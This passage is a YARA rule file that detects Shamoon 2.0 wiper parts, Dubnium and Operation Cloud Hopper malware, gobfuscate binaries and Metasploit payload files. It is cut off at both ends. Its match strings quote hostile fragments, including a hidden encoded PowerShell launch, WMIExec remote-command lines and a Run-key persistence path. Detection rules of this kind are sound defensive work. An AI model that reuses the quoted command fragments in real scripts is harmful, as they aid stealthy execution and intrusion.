		reference = "https://goo.gl/JAHZVL"
		date = "2018-03-03"
		id = "60ce6a5c-2e12-515b-b8cb-8c87500cb37b"

	strings:
		$s1 = "\\Release\\Dropper.pdb"
		$s2 = "\\Release\\dropper.pdb"
		$s3 = "\\Debug\\Dropper.pdb"
		$s4 = "\\Debug\\dropper.pdb"

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 900KB and 1 of them
}

rule Shamoon2_Wiper
{
	meta:
		description = "Detects Shamoon 2.0 Wiper Component"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/jKIfGB"
		date = "2016-12-01"
		score = 70
		hash1 = "c7fc1f9c2bed748b50a599ee2fa609eb7c9ddaeb9cd16633ba0d10cf66891d8a"
		hash2 = "128fa5815c6fee68463b18051c1a1ccdf28c599ce321691686b1efa4838a2acd"
		id = "6660a64c-daa4-59e6-aa65-55194cac600c"

	strings:
		$a1 = "\\??\\%s\\System32\\%s.exe" fullword wide
		$x1 = "IWHBWWHVCIDBRAFUASIIWURRTWRTIBIVJDGWTRRREFDEAEBIAEBJGGCSVUHGVJUHADIEWAFGWADRUWDTJBHTSITDVVBCIDCWHRHVTDVCDESTHWSUAEHGTWTJWFIRTBRB" wide
		$s1 = "UFWYNYNTS" fullword wide
		$s2 = "\\\\?\\ElRawDisk" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 1000KB and 2 of them ) or ( 3 of them )
}

rule Shamoon2_ComComp
{
	meta:
		description = "Detects Shamoon 2.0 Communication Components"
		author = "Florian Roth (Nextron Systems) (with Binar.ly)"
		reference = "https://goo.gl/jKIfGB"
		date = "2016-12-01"
		score = 70
		hash1 = "61c1c8fc8b268127751ac565ed4abd6bdab8d2d0f2ff6074291b2d54b0228842"
		id = "72068264-4f71-59fb-b3d8-938285ec8c7f"

	strings:
		$s1 = "mkdir %s%s > nul 2>&1" fullword ascii
		$s2 = "p[%s%s%d.%s" fullword ascii
		$op1 = { 04 32 cb 88 04 37 88 4c 37 01 88 54 37 02 83 c6 }
		$op2 = { c8 02 d2 c0 e9 06 02 d2 24 3f 02 d1 88 45 fb 8d }
		$op3 = { 0c 3b 40 8d 4e 01 47 3b c1 7c d8 83 fe 03 7d 1c }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 500KB and ( all of ( $s* ) or all of ( $op* ) )
}

rule EldoS_RawDisk
{
	meta:
		description = "EldoS Rawdisk Device Driver (Commercial raw disk access driver - used in Operation Shamoon 2.0)"
		author = "Florian Roth (Nextron Systems) (with Binar.ly)"
		reference = "https://goo.gl/jKIfGB"
		date = "2016-12-01"
		modified = "2023-01-27"
		score = 50
		hash1 = "47bb36cd2832a18b5ae951cf5a7d44fba6d8f5dca0a372392d40f51d1fe1ac34"
		hash2 = "394a7ebad5dfc13d6c75945a61063470dc3b68f7a207613b79ef000e1990909b"
		id = "8a43f425-86b7-5a05-b7c3-13c78aa905f8"

	strings:
		$s1 = "g\\system32\\" wide
		$s2 = "ztvttw" fullword wide
		$s3 = "lwizvm" fullword ascii
		$s4 = "FEJIKC" fullword ascii
		$s5 = "INZQND" fullword ascii
		$s6 = "IUTLOM" fullword wide
		$s7 = "DKFKCK" fullword ascii
		$op1 = { 94 35 77 73 03 40 eb e9 }
		$op2 = { 80 7c 41 01 00 74 0a 3d }
		$op3 = { 74 0a 3d 00 94 35 77 }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 2000KB and 4 of them )
}

rule Dubnium_Sample_1
{
	meta:
		description = "Detects sample mentioned in the Dubnium Report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/AW9Cuu"
		date = "2016-06-10"
		hash1 = "839baf85de657b6d6503b6f94054efa8841f667987a9c805eab94a85a859e1ba"
		id = "377ecbaa-9324-562e-a973-0276d44f3feb"

	strings:
		$key1 = "3b840e20e9555e9fb031c4ba1f1747ce25cc1d0ff664be676b9b4a90641ff194" fullword ascii
		$key2 = "90631f686a8c3dbc0703ffa353bc1fdf35774568ac62406f98a13ed8f47595fd" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 2000KB and all of them
}

rule Dubnium_Sample_2
{
	meta:
		description = "Detects sample mentioned in the Dubnium Report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/AW9Cuu"
		date = "2016-06-10"
		hash1 = "5246899b8c74a681e385cbc1dd556f9c73cf55f2a0074c389b3bf823bfc6ce4b"
		id = "894dc893-25fc-5fdc-9f69-8085b94e1af1"

	strings:
		$x1 = ":*:::D:\\:c:~:" fullword ascii
		$s2 = "SPMUVR" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 2000KB and all of them )
}

rule Dubnium_Sample_3
{
	meta:
		description = "Detects sample mentioned in the Dubnium Report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/AW9Cuu"
		date = "2016-06-10"
		hash1 = "caefcdf2b4e5a928cdf9360b70960337f751ec4a5ab8c0b75851fc9a1ab507a8"
		hash2 = "e0362d319a8d0e13eda782a0d8da960dd96043e6cc3500faeae521d1747576e5"
		hash3 = "a77d1c452291a6f2f6ed89a4bac88dd03d38acde709b0061efd9f50e6d9f3827"
		id = "66f66139-88df-5ba9-a3fc-ba4fc98ce3f9"

	strings:
		$x1 = "copy /y \"%s\" \"%s\" " fullword ascii
		$x2 = "del /f \"%s\" " fullword ascii
		$s1 = "del /f /ah \"%s\" " fullword ascii
		$s2 = "if exist \"%s\" goto Rept " fullword ascii
		$s3 = "\\*.*.lnk" ascii
		$s4 = "Dropped" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 2000KB and 5 of them
}

rule Dubnium_Sample_5
{
	meta:
		description = "Detects sample mentioned in the Dubnium Report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/AW9Cuu"
		date = "2016-06-10"
		super_rule = 1
		hash1 = "16f0b05d5e8546ab1504b07b0eaa0e8de14bca7c1555fd114c4c1c51d5a4c06b"
		hash2 = "1feaad03f6c0b57f5f5b02aef668e26001e5a7787bb51966d50c8fcf344fb4e8"
		hash3 = "41ecd81bc7df4b47d713e812f2b7b38d3ac4b9dcdc13dd5ca61763a4bf300dcf"
		hash4 = "5246899b8c74a681e385cbc1dd556f9c73cf55f2a0074c389b3bf823bfc6ce4b"
		hash5 = "5f07b074414513b73e202d7f77ec4bcf048f13dd735c9be3afcf25be818dc8e0"
		hash6 = "839baf85de657b6d6503b6f94054efa8841f667987a9c805eab94a85a859e1ba"
		hash7 = "a25715108d2859595959879ff50085bc85969e9473ecc3d26dda24c4a17822c9"
		hash8 = "bd780f4d56214c78045454d31d83ae18ed209cc138e75d138e72976a7ef9803f"
		hash9 = "e0918072d427d12b43f436bf0797a361996ae436047d4ef8277f11caf2dd481b"
		id = "09c1aeee-9437-54e9-967f-3c2fcc0736ed"

	strings:
		$s1 = "$innn[i$[i$^i[e[mdi[m$jf1Wehn[^Whl[^iin_hf$11mahZijnjbi[^[W[f1n$dej$[hn]1[W1ni1l[ic1j[mZjchl$$^he[[j[a[1_iWc[e[" fullword ascii
		$s2 = "h$YWdh[$ij7^e$n[[_[h[i[[[\\][1$1[[j1W1[1cjm1[$[k1ZW_$$ncn[[Inbnnc[I9enanid[fZCX" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 9000KB and all of them
}

rule Dubnium_Sample_6
{
	meta:
		description = "Detects sample mentioned in the Dubnium Report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/AW9Cuu"
		date = "2016-06-10"
		super_rule = 1
		hash1 = "5246899b8c74a681e385cbc1dd556f9c73cf55f2a0074c389b3bf823bfc6ce4b"
		hash2 = "5f07b074414513b73e202d7f77ec4bcf048f13dd735c9be3afcf25be818dc8e0"
		hash3 = "839baf85de657b6d6503b6f94054efa8841f667987a9c805eab94a85a859e1ba"
		id = "43366f1a-784d-515e-a8e9-3e924f2abfd8"

	strings:
		$s1 = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&()`~-_=+[{]{;',." fullword ascii
		$s2 = "e_$0[bW\\RZY\\jb\\ZY[nimiRc[jRZ]" fullword ascii
		$s3 = "f_RIdJ0W9RFb[$Fbc9[k_?Wn" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 4000KB and all of them
}

rule Dubnium_Sample_7
{
	meta:
		description = "Detects sample mentioned in the Dubnium Report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/AW9Cuu"
		date = "2016-06-10"
		super_rule = 1
		hash1 = "16f0b05d5e8546ab1504b07b0eaa0e8de14bca7c1555fd114c4c1c51d5a4c06b"
		hash2 = "1feaad03f6c0b57f5f5b02aef668e26001e5a7787bb51966d50c8fcf344fb4e8"
		hash3 = "41ecd81bc7df4b47d713e812f2b7b38d3ac4b9dcdc13dd5ca61763a4bf300dcf"
		hash4 = "5246899b8c74a681e385cbc1dd556f9c73cf55f2a0074c389b3bf823bfc6ce4b"
		hash5 = "5f07b074414513b73e202d7f77ec4bcf048f13dd735c9be3afcf25be818dc8e0"
		hash6 = "a25715108d2859595959879ff50085bc85969e9473ecc3d26dda24c4a17822c9"
		hash7 = "bd780f4d56214c78045454d31d83ae18ed209cc138e75d138e72976a7ef9803f"
		hash8 = "e0918072d427d12b43f436bf0797a361996ae436047d4ef8277f11caf2dd481b"
		id = "6712bd5f-6bbc-5ca0-9fc7-b2013b8f8147"

	strings:
		$s1 = "hWI[$lZ![nJ_[[lk[8Ihlo8ZiIl[[[$Ynk[f_8[88WWWJW[YWnl$$Z[ilf!$IZ$!W>Wl![W!k!$l!WoW8$nj8![8n_I^$[>_n[ZY[[Xhn_c!nnfK[!Z" fullword ascii
		$s2 = "[i_^])[$n!]Wj^,h[,!WZmk^o$dZ[h[e!&W!l[$nd[d&)^Z\\^[[iWh][[[jPYO[g$$e&n\\,Wfg$[<g$[[ninn:j!!)Wk[nj[[o!!Y" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 9000KB and all of them
}

rule Dubnium_Sample_SSHOpenSSL
{
	meta:
		description = "Detects sample mentioned in the Dubnium Report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/AW9Cuu"
		date = "2016-06-10"
		hash1 = "6f0b05d5e8546ab1504b07b0eaa0e8de14bca7c1555fd114c4c1c51d5a4c06b"
		hash2 = "feaad03f6c0b57f5f5b02aef668e26001e5a7787bb51966d50c8fcf344fb4e8"
		hash3 = "41ecd81bc7df4b47d713e812f2b7b38d3ac4b9dcdc13dd5ca61763a4bf300dcf"
		hash4 = "bd780f4d56214c78045454d31d83ae18ed209cc138e75d138e72976a7ef9803f"
		hash5 = "a25715108d2859595959879ff50085bc85969e9473ecc3d26dda24c4a17822c9"
		hash6 = "e0918072d427d12b43f436bf0797a361996ae436047d4ef8277f11caf2dd481b"
		id = "d4f2b494-47b6-5b8e-b358-30159dfb977b"

	strings:
		$s1 = "sshkeypairgen.exe" fullword wide
		$s2 = "OpenSSL: FATAL" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 9000KB and all of them
}

rule OpCloudHopper_Malware_1
{
	meta:
		description = "Detects malware from Operation Cloud Hopper"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.pwc.co.uk/issues/cyber-security-data-privacy/insights/operation-cloud-hopper.html"
		date = "2017-04-03"
		hash1 = "27876dc5e6f746ff6003450eeea5e98de5d96cbcba9e4694dad94ca3e9fb1ddc"
		id = "28ca64ac-beee-51d9-96d4-a1f6d52823ec"

	strings:
		$s1 = "zok]\\\\\\ZZYYY666564444" fullword ascii
		$s2 = "z{[ZZYUKKKIIGGGGGGGGGGGGG" fullword ascii
		$s3 = "EEECEEC" fullword ascii
		$s4 = "IIEFEE" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and all of them )
}

rule OpCloudHopper_Malware_2
{
	meta:
		description = "Detects Operation CloudHopper malware samples"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.pwc.co.uk/issues/cyber-security-data-privacy/insights/operation-cloud-hopper.html"
		date = "2017-04-03"
		modified = "2023-01-06"
		score = 90
		hash1 = "c1dbf481b2c3ba596b3542c7dc4e368f322d5c9950a78197a4ddbbaacbd07064"
		id = "7c0a3d68-5f6b-5491-b0c2-94e8cff478d1"

	strings:
		$x1 = "sERvEr.Dll" fullword ascii
		$x2 = "ToolbarF.dll" fullword wide
		$x3 = ".?AVCKeyLoggerManager@@" fullword ascii
		$x4 = "GH0STCZH" ascii
		$s1 = "%%SystemRoot%%\\System32\\svchost.exe -k \"%s\"" fullword wide
		$s2 = "rundll32.exe \"%s\", UnInstall /update %s" fullword wide
		$s3 = "\\Release\\Loader.pdb" ascii
		$s4 = "%s\\%x.dll" fullword wide
		$s5 = "Mozilla/4.0 (compatible)" fullword wide
		$s6 = "\\syslog.dat" wide
		$s7 = "NSOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" fullword wide
		$op1 = { 8d 34 17 8d 49 00 8a 14 0e 3a 14 29 75 05 41 3b }
		$op2 = { 83 e8 14 78 cf c1 e0 06 8b f8 8b c3 8a 08 84 c9 }
		$op3 = { 3b fb 7d 3f 8a 4d 14 8d 45 14 84 c9 74 1b 8a 14 }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 900KB and ( 1 of ( $x* ) or 3 of ( $s* ) ) or all of ( $op* ) ) or ( 6 of them )
}

rule OpCloudHopper_Malware_3
{
	meta:
		description = "Detects malware from Operation Cloud Hopper"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.pwc.co.uk/issues/cyber-security-data-privacy/insights/operation-cloud-hopper.html"
		date = "2017-04-03"
		hash1 = "c21eaadf9ffc62ca4673e27e06c16447f103c0cf7acd8db6ac5c8bd17805e39d"
		id = "ad1d3b48-d48c-5011-ac51-c8047e1ee8ed"

	strings:
		$s6 = "operator \"\" " fullword ascii
		$s7 = "zok]\\\\\\ZZYYY666564444" fullword ascii
		$s11 = "InvokeMainViaCRT" fullword ascii
		$s12 = ".?AVAES@@" fullword ascii
		$op1 = { b6 4c 06 f5 32 cf 88 4c 06 05 0f b6 4c 06 f9 32 }
		$op2 = { 06 fc eb 03 8a 5e f0 85 c0 74 05 8a 0c 06 eb 03 }
		$op3 = { 7e f8 85 c0 74 06 8a 74 06 08 eb 03 8a 76 fc 85 }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 600KB and ( all of ( $s* ) and 1 of ( $op* ) ) or all of ( $op* ) ) or ( 5 of them )
}

rule OpCloudHopper_Dropper_1
{
	meta:
		description = "Detects malware from Operation Cloud Hopper"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.pwc.co.uk/issues/cyber-security-data-privacy/insights/operation-cloud-hopper.html"
		date = "2017-04-03"
		hash1 = "411571368804578826b8f24f323617f51b068809b1c769291b21125860dc3f4e"
		id = "b43ffb7e-1643-5560-8719-9c63582920e7"

	strings:
		$s1 = "{\\version2}{\\edmins0}{\\nofpages1}{\\nofwords11}{\\nofchars69}{\\*\\company google}{\\nofcharsws79}{\\vern24611}{\\*\\password" ascii

	condition:
		( uint16( 0 ) == 0x5c7b and filesize < 700KB and all of them )
}

rule OpCloudHopper_Malware_4
{
	meta:
		description = "Detects malware from Operation Cloud Hopper"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.pwc.co.uk/issues/cyber-security-data-privacy/insights/operation-cloud-hopper.html"
		date = "2017-04-03"
		modified = "2023-01-06"
		hash1 = "ae6b45a92384f6e43672e617c53a44225e2944d66c1ffb074694526386074145"
		id = "ebc810e6-f549-5401-9ee9-331888eda127"

	strings:
		$s6 = "operator \"\" " fullword ascii
		$s9 = "InvokeMainViaCRT" fullword ascii
		$s10 = ".?AVAES@@" ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 800KB and all of them )
}

rule OpCloudHopper_Malware_5
{
	meta:
		description = "Detects malware from Operation Cloud Hopper"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.pwc.co.uk/issues/cyber-security-data-privacy/insights/operation-cloud-hopper.html"
		date = "2017-04-03"
		hash1 = "beb1bc03bb0fba7b0624f8b2330226f8a7da6344afd68c5bc526f9d43838ef01"
		id = "1ad189f8-a4c2-5f56-beec-a55bd516ad8d"

	strings:
		$x1 = "CWINDOWSSYSTEMROOT" fullword ascii
		$x2 = "YJ_D_KROPOX_M_NUJI_OLY_S_JU_MOOK" fullword ascii
		$x3 = "NJK_JK_SED_PNJHGFUUGIOO_PIY" fullword ascii
		$x4 = "c_VDGQBUl}YSB_C_VDlqSDYFU" fullword ascii
		$s7 = "FALLINLOVE" fullword ascii
		$op1 = { 83 ec 60 8d 4c 24 00 e8 6f ff ff ff 8d 4c 24 00 }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 100KB and ( 1 of ( $x* ) or 2 of them ) ) or ( 4 of them )
}

rule OpCloudHopper_Malware_6
{
	meta:
		description = "Detects malware from Operation Cloud Hopper"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.pwc.co.uk/issues/cyber-security-data-privacy/insights/operation-cloud-hopper.html"
		date = "2017-04-03"
		hash1 = "aabebea87f211d47f72d662e2449009f83eac666d81b8629cf57219d0ce31af6"
		id = "b7578cbd-0f41-5dec-86f6-5792c305a182"

	strings:
		$s1 = "YDNCCOVZKXGRVQPOBRNXXQVNQYXBBCONCOQEGYELIRBEYOVODGXCOXTHXPCXNGUCHRVWKKZSYQMAOWWGHRSPRGSEUWYMEFZHRTHO" fullword ascii
		$s2 = "psychiatry.dat" fullword ascii
		$s3 = "meekness.lnk" fullword ascii
		$s4 = "SOFTWARE\\EGGORG" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 300KB and 1 of them )
}

rule OpCloudHopper_Malware_7
{
	meta:
		description = "Detects malware from Operation Cloud Hopper"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.pwc.co.uk/issues/cyber-security-data-privacy/insights/operation-cloud-hopper.html"
		date = "2017-04-03"
		hash1 = "44a7bea8a08f4c2feb74c6a00ff1114ba251f3dc6922ea5ffab9e749c98cbdce"
		id = "8d32e379-c902-5330-84f5-693a7649a2e4"

	strings:
		$x1 = "jepsjepsjepsjepsjepsjepsjepsjepsjepsjeps" fullword ascii
		$x2 = "extOextOextOextO" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and 1 of them )
}

rule OpCloudHopper_Malware_8
{
	meta:
		description = "Detects malware from Operation Cloud Hopper"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.pwc.co.uk/issues/cyber-security-data-privacy/insights/operation-cloud-hopper.html"
		date = "2017-04-03"
		hash1 = "19aa5019f3c00211182b2a80dd9675721dac7cfb31d174436d3b8ec9f97d898b"
		hash2 = "5cebc133ae3b6afee27beb7d3cdb5f3d675c3f12b7204531f453e99acdaa87b1"
		id = "5e0a09e3-732a-5a90-9d4a-11eae2aa4cc4"

	strings:
		$s1 = "WSHELL32.dll" fullword wide
		$s2 = "operator \"\" " fullword ascii
		$s3 = "\" /t REG_SZ /d \"" fullword wide
		$s4 = " /f /v \"" fullword wide
		$s5 = "zok]\\\\\\ZZYYY666564444" fullword ascii
		$s6 = "AFX_DIALOG_LAYOUT" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 900KB and 4 of them )
}

rule OpCloudHopper_Malware_9
{
	meta:
		description = "Detects malware from Operation Cloud Hopper"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.pwc.co.uk/issues/cyber-security-data-privacy/insights/operation-cloud-hopper.html"
		date = "2017-04-03"
		hash1 = "f0002b912135bcee83f901715002514fdc89b5b8ed7585e07e482331e4a56c06"
		id = "5a02f2ac-905d-550a-bde0-cfde6ed1a4ab"

	strings:
		$s1 = "MsMpEng.exe" fullword ascii
		$op0 = { 2b c7 50 e8 22 83 ff ff ff b6 c0 }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 2000KB and all of them )
}

rule OpCloudHopper_Malware_10
{
	meta:
		description = "Detects malware from Operation Cloud Hopper"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.pwc.co.uk/issues/cyber-security-data-privacy/insights/operation-cloud-hopper.html"
		date = "2017-04-03"
		hash1 = "5b4028728d8011a2003b7ce6b9ec663dd6a60b7adcc20e2125da318e2d9e13f4"
		id = "a5d3237e-d6db-54ba-bfa6-f642f8096819"

	strings:
		$x1 = "bakshell.EXE" fullword wide
		$s19 = "bakshell Applicazione MFC" fullword wide
		$op0 = { 83 c4 34 c3 57 8b ce e8 92 18 00 00 68 20 70 40 }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and 2 of them )
}

rule OpCloudHopper_Malware_11
{
	meta:
		description = "Detects malware from Operation Cloud Hopper"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.pwc.co.uk/issues/cyber-security-data-privacy/insights/operation-cloud-hopper.html"
		date = "2017-04-03"
		hash1 = "a80f6c57f772f20d63021c8971a280c19e8eafe7cc7088344c598d84026dda15"
		id = "18bd2fa9-7eca-5dbc-8e79-953800d5bb0a"

	strings:
		$x1 = "IOGVWDWCXZVRHTE" fullword ascii
		$op1 = { c9 c3 56 6a 00 8b f1 6a 64 e8 dd 34 00 00 c7 06 }
		$op2 = { 68 38 00 41 00 68 34 00 41 00 e8 d3 }

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and 2 of them )
}

rule OpCloudHopper_lockdown
{
	meta:
		description = "Tools related to Operation Cloud Hopper"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/maaaaz/impacket-examples-windows"
		date = "2017-04-07"
		hash1 = "8ca61cef74573d9c1d19b8191c23cbd2b7a1195a74eaba037377e5ee232b1dc5"
		id = "0500f19c-597b-5904-8401-35236215ff29"

	strings:
		$s1 = "lockdown.dll" fullword ascii
		$s3 = "mfeann.exe" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them )
}

rule OpCloudHopper_WindowXarBot
{
	meta:
		description = "Malware related to Operation Cloud Hopper"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
		date = "2017-04-07"
		id = "4434632a-1886-5e8b-a205-12220263980a"

	strings:
		$s1 = "\\Release\\WindowXarbot.pdb" ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 2000KB and all of them )
}

rule OpCloudHopper_WmiDLL_inMemory
{
	meta:
		description = "Malware related to Operation Cloud Hopper - Page 25"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
		date = "2017-04-07"
		id = "0afb6e52-bc9a-5a68-890b-79a017e5d554"

	strings:
		$s1 = "wmi.dll 2>&1" ascii

	condition:
		all of them
}

rule VBS_WMIExec_Tool_Apr17_1
{
	meta:
		description = "Tools related to Operation Cloud Hopper"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/maaaaz/impacket-examples-windows"
		date = "2017-04-07"
		hash1 = "21bc328ed8ae81151e7537c27c0d6df6d47ba8909aebd61333e32155d01f3b11"
		id = "8175eb74-38f1-5d8f-a668-aa8e215b032e"

	strings:
		$x1 = "strNetUse = \"cmd.exe /c net use \\\\\" & host" fullword ascii
		$x2 = "localcmd = \"cmd.exe /c \" & command " ascii
		$x3 = "& \" > \" & TempFile & \" 2>&1\"  '2>&1 err" fullword ascii
		$x4 = "strExec = \"cmd.exe /c \" & cmd & \" >> \" & resultfile & \" 2>&1\"  '2>&1 err" fullword ascii
		$x5 = "TempFile = objShell.ExpandEnvironmentStrings(\"%TEMP%\") & \"\\wmi.dll\"" fullword ascii
		$a1 = "WMIEXEC ERROR: Command -> " ascii
		$a2 = "WMIEXEC : Command result will output to" fullword ascii
		$a3 = "WMIEXEC : Target ->" fullword ascii
		$a4 = "WMIEXEC : Login -> OK" fullword ascii
		$a5 = "WMIEXEC : Process created. PID:" fullword ascii

	condition:
		( filesize < 40KB and 1 of them ) or 3 of them
}

rule SUSP_GObfuscate_May21
{
	meta:
		description = "Identifies binaries obfuscated with gobfuscate"
		author = "James Quinn"
		reference = "https://github.com/unixpickle/gobfuscate"
		date = "2021-05-14"
		score = 70
		id = "ae518296-b1c3-568c-bae0-3e0a6f7600ba"

	strings:
		$s1 = { 0f b6 ?? ?? ?? 0f b6 ?? ?? ?? 31 D1 88 ?? ?? ?? 48 FF C0 48 83 f8 ?? 7c E7 48 C7 }
		$s2 = { 0F b6 ?? ?? ?? 31 DA 88 ?? ?? ?? 40 83 ?? ?? 7D 09 0F B6 }

	condition:
		filesize < 50MB and any of them
}

rule Msfpayloads_msf
{
	meta:
		description = "Metasploit Payloads - file msf.sh"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-02-09"
		modified = "2022-08-18"
		hash1 = "320a01ec4e023fb5fbbaef963a2b57229e4f918847e5a49c7a3f631cb556e96c"
		id = "c56dbb8e-1e03-5112-b2ef-a0adfd14dffa"

	strings:
		$s1 = "export buf=\\" ascii

	condition:
		filesize < 5MB and $s1
}

rule Msfpayloads_msf_2
{
	meta:
		description = "Metasploit Payloads - file msf.asp"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-02-09"
		hash1 = "e52f98466b92ee9629d564453af6f27bd3645e00a9e2da518f5a64a33ccf8eb5"
		id = "ec1ae1b6-18a3-5590-ae15-1e2b362c545a"

	strings:
		$s1 = "& \"\\\" & \"svchost.exe\"" fullword ascii
		$s2 = "CreateObject(\"Wscript.Shell\")" fullword ascii
		$s3 = "<% @language=\"VBScript\" %>" fullword ascii

	condition:
		all of them
}

rule Msfpayloads_msf_psh
{
	meta:
		description = "Metasploit Payloads - file msf-psh.vba"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-02-09"
		hash1 = "5cc6c7f1aa75df8979be4a16e36cece40340c6e192ce527771bdd6463253e46f"
		id = "5b760f03-b0f8-5871-bd34-e7e44443530c"

	strings:
		$s1 = "powershell.exe -nop -w hidden -e" ascii
		$s2 = "Call Shell(" ascii
		$s3 = "Sub Workbook_Open()" fullword ascii

	condition:
		all of them
}

rule Msfpayloads_msf_exe
{
	meta:
		description = "Metasploit Payloads - file msf-exe.vba"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-02-09"
		hash1 = "321537007ea5052a43ffa46a6976075cee6a4902af0c98b9fd711b9f572c20fd"
		id = "fd07240e-0ee0-5318-a436-d97054e92414"

	strings:
		$s1 = "'* PAYLOAD DATA" fullword ascii
		$s2 = " = Shell(" ascii
		$s3 = "= Environ(\"USERPROFILE\")" fullword ascii
		$s4 = "'**************************************************************" fullword ascii
		$s5 = "ChDir (" ascii
		$s6 = "'* MACRO CODE" fullword ascii

	condition:
		4 of them
}

rule Msfpayloads_msf_3
{
	meta:
		description = "Metasploit Payloads - file msf.psh"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-02-09"
		hash1 = "335cfb85e11e7fb20cddc87e743b9e777dc4ab4e18a39c2a2da1aa61efdbd054"
